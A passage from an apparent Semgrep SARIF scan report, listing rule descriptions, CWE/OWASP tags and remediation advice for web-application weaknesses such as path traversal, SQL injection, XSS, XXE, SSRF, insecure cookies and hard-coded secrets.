user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-res-sendfile.express-res-sendfile)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n","text":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-res-sendfile.express-res-sendfile","id":"javascript.express.security.audit.express-res-sendfile.express-res-sendfile","name":"javascript.express.security.audit.express-res-sendfile.express-res-sendfile","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-res-sendfile.express-res-sendfile"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","id":"python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","name":"python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries."},"help":{"markdown":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-sql.check-sql)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/models/product.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/models/product.rb)\n","text":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-sql.check-sql","id":"ruby.rails.security.brakeman.check-sql.check-sql","name":"ruby.rails.security.brakeman.check-sql.check-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-sql.check-sql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.secrets.database-password.database-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/php.secrets.database-password.database-password","id":"php.secrets.database-password.database-password","name":"php.secrets.database-password.database-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.secrets.database-password.database-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities"},"help":{"markdown":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","id":"javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","name":"javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","id":"java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","name":"java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"S3 bucket with public read-write access detected."},"help":{"markdown":"S3 bucket with public read-write access detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl)\n","text":"S3 bucket with public read-write access detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","id":"terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","name":"terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","id":"python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","name":"python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","id":"python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","name":"python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views."},"help":{"markdown":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-html-response.tainted-html-response","id":"scala.play.security.tainted-html-response.tainted-html-response","name":"scala.play.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection)\n - [https://www.npmjs.com/package/wkhtmltopdf](https://www.npmjs.com/package/wkhtmltopdf)\n","text":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","id":"javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","name":"javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xss.direct-response-write.direct-response-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.micronaut.xss.direct-response-write.direct-response-write","id":"java.micronaut.xss.direct-response-write.direct-response-write","name":"java.micronaut.xss.direct-response-write.direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xss.direct-response-write.direct-response-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"help":{"markdown":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","id":"python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","name":"python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305."},"help":{"markdown":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.use_ecb_mode.use_ecb_mode)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.chacha20poly1305?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.chacha20poly1305?view=net-6.0)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.ciphermode?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.ciphermode?view=net-6.0)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes)\n","text":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.use_ecb_mode.use_ecb_mode","id":"csharp.dotnet.security.use_ecb_mode.use_ecb_mode","name":"csharp.dotnet.security.use_ecb_mode.use_ecb_mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.use_ecb_mode.use_ecb_mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","id":"python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","name":"python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","id":"python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","name":"python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument)\n - 